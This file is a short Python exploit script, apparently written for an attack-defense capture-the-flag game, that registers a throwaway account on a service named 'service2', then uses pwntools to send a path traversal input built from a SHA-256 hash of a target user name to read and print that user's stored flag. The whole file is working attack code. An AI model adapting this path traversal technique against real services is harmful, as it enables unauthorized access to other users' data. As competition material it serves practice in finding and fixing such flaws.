service2-store1-vuln2-path-traversal.py

#!/usr/bin/env python3

from pwn import *
from service2client import Client
from hashlib import sha256
import os
import sys

context.log_level = "error"


def exploit(ip, flag_id):
    admin_name = flag_id.encode()

    username = os.urandom(6).hex()
    password = os.urandom(6).hex()

    c = Client(ip, username, password, "1")
    c.register()

    c.login()
    token = c.get_token()

    expl = f"../{sha256(admin_name).hexdigest()}/0"

    r = remote(ip, 1235)
    r.recvuntil(": ")
    r.sendline(token)
    r.recvuntil("0. Exit\n")
    r.sendline("1")
    r.recvuntil(": ")
    r.sendline("a")
    r.recvuntil(": ")
    r.sendline("a")
    r.recvuntil("Exit\n")
    r.sendline("3")
    r.recvuntil(": ")
    r.sendline(expl)
    r.recvline()
    return r.recvline(False).split()[-1].decode()


if __name__ == "__main__":
    team_id = sys.argv[1]
    flag_id = sys.argv[2]
    ip = f"10.60.{team_id}.1"
    print(exploit(ip, flag_id))